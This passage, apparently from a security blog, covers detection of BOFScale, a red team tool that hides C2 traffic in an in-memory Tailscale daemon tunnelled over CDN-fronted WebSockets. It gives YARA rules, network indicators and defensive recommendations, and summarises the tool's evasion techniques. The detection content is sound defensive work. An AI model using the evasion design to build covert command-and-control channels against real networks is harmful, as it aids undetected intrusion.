 $s7 = { 53 4F 43 4B 53 35 20 63 6F 6E 6E 65 63 74 69 6F 6E 20 65 73 74 61 62 6C 69 73 68 65 64 20 74 6F 20 74 61 72 67 65 74 }
 // "Shutdown event signaled"
 $s8 = { 53 68 75 74 64 6F 77 6E 20 65 76 65 6E 74 20 73 69 67 6E 61 6C 65 64 }
 // "BeaconGetStopJobEvent" - async BOF API
 $b1 = { 42 65 61 63 6F 6E 47 65 74 53 74 6F 70 4A 6F 62 45 76 65 6E 74 }
 // "--t and --tp are mandatory"
 $s9 = { 2D 2D 74 20 61 6E 64 20 2D 2D 74 70 20 61 72 65 20 6D 61 6E 64 61 74 6F 72 79 }
 // "zzzzzzzzzzzz" - BEACON_MAIN format string (12 z's)
 $b2 = { 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A }

 condition:
 (1 of ($s1, $s2, $s3)) or
 ($b1 and 2 of ($s4, $s5, $s6, $s7, $s8, $s9)) or
 ($b2 and $b1 and 1 of ($s4, $s5))
}

YARA Rule – BOFScale_Generic_BOFPE:

rule BOFScale_Generic_BOFPE {
 meta:
 description = "Generic detection for any BOFScale component running in memory"
 author = "NetSPI"
 severity = "high"

 strings:
 // "async BOF" - referenced across components
 $s1 = { 61 73 79 6E 63 20 42 4F 46 }
 // "igoring" - distinctive typo in both tailscale and socksportfwd
 $s2 = { 69 67 6F 72 69 6E 67 }
 // "BeaconDataParse"
 $b1 = { 42 65 61 63 6F 6E 44 61 74 61 50 61 72 73 65 }
 // "BeaconDataExtract"
 $b2 = { 42 65 61 63 6F 6E 44 61 74 61 45 78 74 72 61 63 74 }
 // "BeaconPrintf"
 $b3 = { 42 65 61 63 6F 6E 50 72 69 6E 74 66 }
 // "BeaconOutput"
 $b4 = { 42 65 61 63 6F 6E 4F 75 74 70 75 74 }
 // "BeaconGetStopJobEvent"
 $b5 = { 42 65 61 63 6F 6E 47 65 74 53 74 6F 70 4A 6F 62 45 76 65 6E 74 }
 // "beaconWriter"
 $b6 = { 62 65 61 63 6F 6E 57 72 69 74 65 72 }
 // "local-tailscaled.sock"
 $t1 = { 6C 6F 63 61 6C 2D 74 61 69 6C 73 63 61 6C 65 64 2E 73 6F 63 6B }
 // "tailscaled shutdown gracefully"
 $t2 = { 74 61 69 6C 73 63 61 6C 65 64 20 73 68 75 74 64 6F 77 6E 20 67 72 61 63 65 66 75 6C 6C 79 }
 // "setevent"
 $t3 = { 72 74 6F 2D 73 65 74 65 76 65 6E 74 }
 // "headscale login-server"
 $t4 = { 68 65 61 64 73 63 61 6C 65 20 6C 6F 67 69 6E 2D 73 65 72 76 65 72 }

 condition:
 (2 of ($b*)) and (1 of ($s*) or 1 of ($t*))
}

These YARA rules target strings unique to BOF-PE variants of Tailscale and absent in legitimate Tailscale binaries. The tailscaled rule specifically targets BOF-PE adaptations: beaconWriter Go type, TS_DEBUG_DERP_WS_CLIENT environment variable forcing WebSocket DERP, program.exe fake argv[0]. The tailscale rule keys on a distinctive error message referencing “async BOF running”, typo of “backed” instead of “backend”, explicit Headscale references. Socksportfwd rule targets setevent references, “beacon API”, async BOF execution requirement. All rules are validated to produce zero false positives against legitimate Tailscale binaries from the same source tree.

Known Detection Consideration: These rules are effective for process memory scanning at a point in time but require EDR or memory scanning supporting YARA. Hex patterns match compiled binary strings and break if attacker modifies source strings, recompiles, or applies binary obfuscation. The generic rule may match other BOF-PE tooling combining Beacon API functions with Tailscale-related strings; review matches in context before escalating.

Detection Opportunity #2: WebSocket Upgrade with DERP or TS2021 Subprotocol

Data Source: Network Traffic: Network Connection Creation
Detection Strategy: Signature

Detection Concept: Detect outbound HTTPS connections performing WebSocket upgrade (Upgrade: websocket) where Sec-WebSocket-Protocol header contains derp or ts2021. These subprotocols are specific to Tailscale’s relay (DERP) and control plane (TS2021) protocols. In BOFScale’s configuration, connections are directed through CDN such as CloudFront or Fastly on port 443.

Indicators:

  • Sec-WebSocket-Protocol: derp
  • Sec-WebSocket-Protocol: ts2021

Detection Reasoning: Tailscale uses proprietary subprotocols for DERP relay (derp) and control plane (ts2021). In legitimate enterprise deployment, connections originate from tailscaled.exe service process. BOFScale tunnels the same protocols through RFC 6455 WebSocket connections to traverse CDN infrastructure; WebSocket upgrade originates from unrelated process like browser or office application hosting C2 implant. Detecting these subprotocols from process not tailscaled.exe or from host with no authorized Tailscale installation is a strong compromise indicator.

Known Detection Consideration: TLS inspection or TLS-terminating proxy is required to observe WebSocket upgrade headers within HTTPS traffic. Environments without TLS inspection cannot detect this at network layer. Legitimate Tailscale installations also generate these subprotocols; detection should exclude hosts with authorized Tailscale deployment or filter to processes not legitimate tailscaled.exe service.

Key Takeaways

  • In-process Tailscale daemon eliminates traditional C2 network IOCs—no kernel driver, no service, no disk state, no child processes after startup.
  • RFC 6455 WebSocket modifications enable Tailscale control and relay to traverse CDN infrastructure appearing as standard browser WebSocket traffic at the edge.
  • Headscale acts as self-hosted control plane and embedded DERP relay, entirely operator-controlled and isolated from Tailscale’s infrastructure.
  • SOCKS5 port forwarding bridges userspace networking limitations, enabling traffic originating from victim network to reach attack VM infrastructure over encrypted tunnel.
  • OPSEC hardening reduces observable artifacts: userspace networking eliminates TUN dependency, randomized WireGuard ports hinder enumeration, ephemeral node cleanup prevents node list accumulation.
  • WebSocket subprotocol headers (derp, ts2021) are potential detection vectors if TLS inspection is in place and network baseline prohibits Tailscale usage.

Defensive Recommendations

  • Memory scanning: Deploy YARA rules targeting BOFScale components. Focus on process memory containing distinctive strings like “async BOF”, BeaconDataParse, and Tailscale-specific indicators not found in legitimate installations.
  • Network behavior: Establish baseline for WebSocket usage by process and destination. Alert on WebSocket connections to CDN domains with DERP or TS2021 subprotocols from unexpected processes—requires TLS inspection or packet analysis.
  • Named pipe auditing: Monitor creation of named pipes with random UUIDs or non-standard naming patterns, particularly those with permissive SDDL settings. Correlate with parent process and execution context.
  • SOCKS proxy detection: Hunt for unexpected SOCKS5 listeners on non-standard ports (not just 1080). Cross-reference with process enumeration—SOCKS server with no corresponding proxy process is highly suspicious.
  • C2 framework signatures: If C2 framework is identified, scan for corresponding BOF modules. Presence of tailscaled or socksportfwd BOFs in staging directory or memory should trigger immediate incident response.
  • Supply chain vigilance: Monitor external repositories for Tailscale forks or modified builds with WebSocket extensions enabled. Backdoored Tailscale binaries distributed through unofficial channels pose significant risk.
  • Network segmentation: Restrict outbound HTTPS to known-good CDN providers if business use case doesn’t require broad CDN connectivity. Implants using arbitrary CloudFront or Fastly distributions will be blocked at egress.
  • Endpoint isolation: Rapidly isolate hosts showing combination of IOCs: random UUID named pipes + unattributed SOCKS listener + WebSocket traffic to CDN with suspicious subprotocols. Do not assume single IOC is definitive.

Conclusion

BOFScale represents a significant advancement in red team infrastructure by achieving in-memory C2 networking without traditional implant footprints. The combination of modified Tailscale daemon, WebSocket-enabled control and relay protocols, and Headscale-based infrastructure demonstrates how fundamental architectural constraints can be overcome through careful engineering. The shift from reactive defenses around known IOCs to detection based on behavioral signatures and protocol anomalies becomes necessary when adversaries achieve this level of artifact reduction and network blending.

Original text: “BOFScale: A CDN-Fronted Tailnet from a BOF-PE” by Ceri Coburn at NetSPI Red Team Blog.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion